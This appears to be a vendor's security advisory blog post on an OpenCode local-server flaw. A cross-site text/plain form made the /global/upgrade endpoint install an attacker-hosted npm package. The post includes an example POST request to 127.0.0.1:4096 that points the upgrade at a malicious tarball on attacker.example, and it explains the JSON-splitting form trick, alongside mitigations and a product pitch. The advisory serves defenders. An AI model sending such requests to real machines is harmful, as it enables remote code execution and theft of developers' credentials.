---
title: "OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4"
description: "A web page could make OpenCode's local server install an attacker's npm package via a cross-site form. No DNS rebinding needed. Fixed in 1.18.22."
url: "https://anomity.ai/blog/opencode-cross-site-upgrade-rce-ghsa-632h-h47v-g4x4/"
source: html
---

On this page

- What happened
- Why browser protections did not stop it
- Same family as the MCP DNS-rebinding bugs, different road
- How Anomity surfaces and governs it
- What to check across your fleet
- Frequently asked questions

[← Back to blog](https://anomity.ai/blog/)

- Home

- Blog

- OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4

![Anomity robot illustrating OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4]

Advisory High

# OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4

Anomity Research
Anomity Threat Research
·
Oct 2, 2026
·
4 min read

Share: Copied

AI Agent & CLI Security · High · GHSA-632h-h47v-g4x4 (CVSS 7.5, no CVE) · Oct 2, 2026

Affected opencode-ai 1.14.30 through 1.18.21 when running `opencode serve` from an npm, pnpm or Bun install; fixed in 1.18.22

On **September 24, 2026**, the OpenCode project published **GHSA-632h-h47v-g4x4**, a flaw reported by Datadog Security Labs that let any web page make OpenCode's local server install an attacker's package. It is rated **CVSS 7.5** and has no CVE. The fix is in **OpenCode 1.18.22**.

It arrives in the same month as a run of DNS-rebinding bugs in local MCP servers, covered in [why local MCP HTTP keeps falling to DNS rebinding](https://anomity.ai/blog/mcp-local-http-dns-rebinding-class-2026/). OpenCode belongs to the same family, local AI tooling that trusts whatever reaches it, but takes a different and simpler route in.

## What happened

`opencode serve` runs a local HTTP server, by default on `127.0.0.1:4096`. One endpoint, `/global/upgrade`, lets OpenCode update itself to a target version. On npm, pnpm and Bun installs, the backend hands that target to the package manager, which runs the equivalent of `npm install -g opencode-ai@ `. npm package specifiers can be a **URL to a remote tarball**, so the target can be any package the attacker hosts, including a copy of OpenCode with a malicious `preinstall` script.

Two further details made it reachable from the web. The endpoint **did not check the request's Origin**. And it parsed a `text/plain` request body as JSON. Browsers will submit a cross-site HTML form as `text/plain` but never as `application/json`, so that one parsing decision is what let a plain form carry the payload. A hidden field split across its name and value produces a body that is valid JSON:

```
POST /global/upgrade HTTP/1.1
Host: 127.0.0.1:4096
Content-Type: text/plain
Origin: http://attacker.example
Sec-Fetch-Mode: navigate

{"target":"http://attacker.example/opencode-malicious.tgz","x":"="}
```

The developer only has to load the page while `opencode serve` is running. OpenCode installs the attacker's package and the lifecycle script runs with the developer's permissions: source code, cloud CLI sessions, SSH keys and whatever tokens sit in the environment.

## Why browser protections did not stop it

Modern browsers restrict what a page can do to local addresses, but those protections are aimed at **script requests**. A form submission is a **top-level navigation**, and CORS and Local Network Access controls do not apply to it. The attacker never needs to read the response, so the same-origin policy is irrelevant. The advisory notes the technique works in current Chrome.

The password option did not close the gap either. `OPENCODE_SERVER_PASSWORD` blocks unauthenticated requests, but a browser that has authenticated to the server once **caches the HTTP Basic credentials and attaches them** to the attacker's cross-site navigation. Credentials a browser sends automatically are not proof that the user meant to send this request.

## Same family as the MCP DNS-rebinding bugs, different road

OpenCode (GHSA-632h-h47v-g4x4) MySQL MCP Server (CVE-2026-59971)

How the browser reaches localhost Cross-site text/plain form navigation DNS rebinding, or direct network exposure

Missing server check Origin validation; content type; unrestricted package target Host and Origin allowlists; any authentication

Needs the attacker to read responses No Yes, for interactive SQL

Impact Code execution through a package lifecycle script Arbitrary SQL; file read and write with the FILE privilege

Fixed in 1.18.22 0.4.2

The MySQL case is covered in detail in [our CVE-2026-59971 advisory](https://anomity.ai/blog/mysql-mcp-server-sse-dns-rebinding-unauth-sql-cve-2026-59971/), and the GitLab equivalent in [GitLab MCP CVE-2026-61568](https://anomity.ai/blog/mcp-gitlab-streamable-http-dns-rebinding-cve-2026-61568/). The lesson they share with OpenCode is the one behind the older [MCP Inspector browser-driven RCE](https://anomity.ai/blog/mcp-inspector-proxy-unauth-rce-cve-2025-49596/): **a port bound to 127.0.0.1 is private from the network, not from the browser on the same machine.** The defenses differ by technique, but the principle does not: validate Origin, accept only the content type the endpoint expects, and require authentication a browser will not attach on its own.

## How Anomity surfaces and governs it

First, **find the servers**. The Endpoint Sensor inventories coding agents, CLIs and MCP servers on every managed endpoint, with versions. An npm-installed OpenCode below 1.18.22 shows up as a named machine with a named version, which is the list a patch campaign needs and which no network scan of localhost can produce.

Second, **see what a compromise would reach**. The sensor inventories secrets on the endpoint using 162 credential patterns, with values redacted before anything leaves the machine. A lifecycle script running as the developer reaches everything in that inventory.

Third, **keep the record**. Inventory changes and findings land in a 90-day audit trail and route to SIEM, Slack, email or Jira. Anomity complements EDR here rather than replacing it: EDR sees a package manager spawn a script, and Anomity tells you which AI tool on that machine opened the door.

## What to check across your fleet

- Upgrade OpenCode to 1.18.22 or later wherever it is installed through npm, pnpm or Bun, and restart running opencode serve processes .
- On machines that ran the server, look for unexpected global package installs and lifecycle-script execution .
- Keep OPENCODE_SERVER_PASSWORD set and the server bound to localhost, as defense in depth rather than as the fix.
- Inventory the other local servers developers run for AI tooling, MCP servers in SSE or HTTP mode included, and confirm each validates Origin and requires real authentication.
- Treat any local AI server without real authentication as reachable by every website the developer opens.

GHSA-632h-h47v-g4x4 needed no sophisticated attacker, only a developer with a browser and a local server that trusted it. For the broader controls around coding agents on endpoints, see [securing AI coding agents and CLIs](https://anomity.ai/blog/securing-ai-coding-agents-and-clis/). To find the local AI servers running across your endpoints, [book a 30-minute demo](https://anomity.ai/#early-access).

Share: Copied

## Frequently asked questions

Am I affected by GHSA-632h-h47v-g4x4?
You are affected if someone runs opencode serve on OpenCode 1.14.30 through 1.18.21 and installed OpenCode through npm, pnpm or Bun. The standalone CLI upgrade command is not a cross-origin attack surface, users who never run opencode serve are not exposed to this path, and installs through curl, Homebrew, Chocolatey or Scoop do not interpret the target as an alternate npm package. The hard part is knowing which developers run the server at all, because it is started by hand rather than deployed by IT.

How could a web page reach a server on localhost?
Browsers stop scripts on one origin from reading responses from another, and newer protections restrict script requests to local addresses. But a top-level HTML form submission is a navigation, not a script fetch, and those protections do not apply to it. The browser sends the request to 127.0.0.1:4096 even though the page came from the internet. The server is the only place the request can be refused, by checking the Origin header and requiring real authentication.

How is this different from the DNS rebinding attacks on MCP servers?
It reaches the same place by a different road. DNS rebinding, as in the MySQL MCP Server and GitLab MCP advisories from September, re-points an attacker's domain at 127.0.0.1 so the browser treats the local server as same-origin; the fix is Host and Origin allowlists. The OpenCode route needs no DNS trickery at all: a cross-site form navigation is sent to localhost directly, and the attacker never needs to read the response. Both are defeated by the same server-side discipline: validate Origin, require authentication that a browser will not attach on its own, and do not accept a content type the endpoint was not designed for.

Why did the text/plain content type matter?
Browsers will submit a cross-site HTML form as text/plain, but not as application/json. OpenCode parsed the text/plain body as JSON anyway. By splitting a JSON object across a hidden form field's name and value, the attacker makes the submitted body valid JSON, so the endpoint accepts it. An endpoint that rejected anything other than application/json would have forced the request through a CORS preflight that a cross-site page could not pass.

We set OPENCODE_SERVER_PASSWORD. Were we protected?
Only partly. The password stops unauthenticated requests. But per the advisory, once a user has authenticated to the OpenCode server in their browser, the browser caches the HTTP Basic credentials and attaches them to the attacker's cross-site form navigation. Upgrading to 1.18.22 is the fix. The password and a localhost-only bind remain worth having, as defense in depth.

What should we do now?
Upgrade OpenCode to 1.18.22 or later on every machine where it is installed through npm, pnpm or Bun, and restart running opencode serve processes so the old server is not left listening. Check machines that ran the server for unexpected global package installs and lifecycle-script execution. Then look wider: inventory the other local servers developers run for AI tooling, because the same assumption that localhost is private keeps producing the same class of bug.

How does Anomity help with this?
The Endpoint Sensor inventories coding agents, CLIs and MCP servers on every managed endpoint with their versions, which is how you find the developers running an npm-installed OpenCode below 1.18.22. It also inventories secrets in those environments using 162 credential patterns, with values redacted on the endpoint, so you can see what a compromised developer session would expose. Findings route to SIEM, Slack, email or Jira, and inventory changes land in a 90-day audit trail. EDR sees a package manager spawn a script; Anomity tells you which AI tool on that machine made it possible.

## Related

[Advisory Critical ### GitSpawn - Malicious .git Configs Make Coding Agents Run Attacker Code Manifold's GitSpawn (Sep 1 2026): malicious .git/config core.fsmonitor runs on git status/diff during agent context gather - outside sandbox, no approval. Patched in goose, Codex, Cursor, Claude Code; several agents still open. Anomity Research · Sep 14, 2026 · GitSpawn (Manifold, 2026-09-01); CVE-2026-72718 (goose), CVE-2026-19592 (Codex CLI), CVE-2026-71963 (Hermes)](https://anomity.ai/blog/gitspawn-malicious-git-config-coding-agent-rce/)

[Guide ### When a Coding Agent Drops Your Database: Why It Happens and the Guardrails That Stop It Agents drop databases because they hold write credentials and migration tooling is destructive by design. The fix is credentials and deny-lists, not better prompts. Anomity Research · Aug 5, 2026 · 6 min](https://anomity.ai/blog/agents-destructive-database-operations-guardrails/)

[Guide ### How Claude Code Hooks Work - Events, Matchers, and the PreToolUse Enforcement Point Claude Code hooks run your code at fixed points in the agent's lifecycle. This guide explains the events, matchers, and decision control, and why PreToolUse is the enforcement point that matters. Anomity Research · Jul 18, 2026 · 6 min](https://anomity.ai/blog/how-claude-code-hooks-work/)

## Structured data

```json
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4",
  "description": "A web page could make OpenCode's local server install an attacker's npm package via a cross-site form. No DNS rebinding needed. Fixed in 1.18.22.",
  "datePublished": "2026-10-02",
  "dateModified": "2026-10-02",
  "author": {
    "@type": "Organization",
    "name": "Anomity",
    "url": "https://anomity.ai/",
    "sameAs": [
      "https://www.linkedin.com/company/anomity",
      "https://github.com/Anomity-ai",
      "https://www.wikidata.org/wiki/Q140763940"
    ]
  },
  "publisher": {
    "@type": "Organization",
    "name": "Anomity",
    "url": "https://anomity.ai/",
    "sameAs": [
      "https://www.linkedin.com/company/anomity",
      "https://github.com/Anomity-ai",
      "https://www.wikidata.org/wiki/Q140763940"
    ],
    "logo": {
      "@type": "ImageObject",
      "url": "https://anomity.ai/icon-512.png"
    }
  },
  "mainEntityOfPage": {
    "@type": "WebPage",
    "@id": "https://anomity.ai/blog/opencode-cross-site-upgrade-rce-ghsa-632h-h47v-g4x4/"
  },
  "image": {
    "@type": "ImageObject",
    "url": "https://anomity.ai/assets/blog/covers/skills-supply-chain.jpg",
    "width": 1200,
    "height": 630
  },
  "articleSection": "AI Agent & CLI Security",
  "url": "https://anomity.ai/blog/opencode-cross-site-upgrade-rce-ghsa-632h-h47v-g4x4/",
  "keywords": "OpenCode GHSA-632h-h47v-g4x4, GHSA-632h-h47v-g4x4 (CVSS 7.5, no CVE), GHSA-632h-h47v-g4x4, OpenCode, Coding Agents, Cross-Site Request, Local AI Servers, npm Lifecycle Scripts, Drive-By Attack, AI Agent Security"
}
```

```json
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "Am I affected by GHSA-632h-h47v-g4x4?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "You are affected if someone runs opencode serve on OpenCode 1.14.30 through 1.18.21 and installed OpenCode through npm, pnpm or Bun. The standalone CLI upgrade command is not a cross-origin attack surface, users who never run opencode serve are not exposed to this path, and installs through curl, Homebrew, Chocolatey or Scoop do not interpret the target as an alternate npm package. The hard part is knowing which developers run the server at all, because it is started by hand rather than deployed by IT."
      }
    },
    {
      "@type": "Question",
      "name": "How could a web page reach a server on localhost?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Browsers stop scripts on one origin from reading responses from another, and newer protections restrict script requests to local addresses. But a top-level HTML form submission is a navigation, not a script fetch, and those protections do not apply to it. The browser sends the request to 127.0.0.1:4096 even though the page came from the internet. The server is the only place the request can be refused, by checking the Origin header and requiring real authentication."
      }
    },
    {
      "@type": "Question",
      "name": "How is this different from the DNS rebinding attacks on MCP servers?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "It reaches the same place by a different road. DNS rebinding, as in the MySQL MCP Server and GitLab MCP advisories from September, re-points an attacker's domain at 127.0.0.1 so the browser treats the local server as same-origin; the fix is Host and Origin allowlists. The OpenCode route needs no DNS trickery at all: a cross-site form navigation is sent to localhost directly, and the attacker never needs to read the response. Both are defeated by the same server-side discipline: validate Origin, require authentication that a browser will not attach on its own, and do not accept a content type the endpoint was not designed for."
      }
    },
    {
      "@type": "Question",
      "name": "Why did the text/plain content type matter?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Browsers will submit a cross-site HTML form as text/plain, but not as application/json. OpenCode parsed the text/plain body as JSON anyway. By splitting a JSON object across a hidden form field's name and value, the attacker makes the submitted body valid JSON, so the endpoint accepts it. An endpoint that rejected anything other than application/json would have forced the request through a CORS preflight that a cross-site page could not pass."
      }
    },
    {
      "@type": "Question",
      "name": "We set OPENCODE_SERVER_PASSWORD. Were we protected?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Only partly. The password stops unauthenticated requests. But per the advisory, once a user has authenticated to the OpenCode server in their browser, the browser caches the HTTP Basic credentials and attaches them to the attacker's cross-site form navigation. Upgrading to 1.18.22 is the fix. The password and a localhost-only bind remain worth having, as defense in depth."
      }
    },
    {
      "@type": "Question",
      "name": "What should we do now?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Upgrade OpenCode to 1.18.22 or later on every machine where it is installed through npm, pnpm or Bun, and restart running opencode serve processes so the old server is not left listening. Check machines that ran the server for unexpected global package installs and lifecycle-script execution. Then look wider: inventory the other local servers developers run for AI tooling, because the same assumption that localhost is private keeps producing the same class of bug."
      }
    },
    {
      "@type": "Question",
      "name": "How does Anomity help with this?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "The Endpoint Sensor inventories coding agents, CLIs and MCP servers on every managed endpoint with their versions, which is how you find the developers running an npm-installed OpenCode below 1.18.22. It also inventories secrets in those environments using 162 credential patterns, with values redacted on the endpoint, so you can see what a compromised developer session would expose. Findings route to SIEM, Slack, email or Jira, and inventory changes land in a 90-day audit trail. EDR sees a package manager spawn a script; Anomity tells you which AI tool on that machine made it possible."
      }
    }
  ]
}
```

```json
{
  "@context": "https://schema.org",
  "@type": "BreadcrumbList",
  "itemListElement": [
    {
      "@type": "ListItem",
      "position": 1,
      "name": "Home",
      "item": "https://anomity.ai/"
    },
    {
      "@type": "ListItem",
      "position": 2,
      "name": "Blog",
      "item": "https://anomity.ai/blog/"
    },
    {
      "@type": "ListItem",
      "position": 3,
      "name": "OpenCode Server Cross-Site Upgrade Installs Attacker Packages - GHSA-632h-h47v-g4x4",
      "item": "https://anomity.ai/blog/opencode-cross-site-upgrade-rce-ghsa-632h-h47v-g4x4/"
    }
  ]
}
```
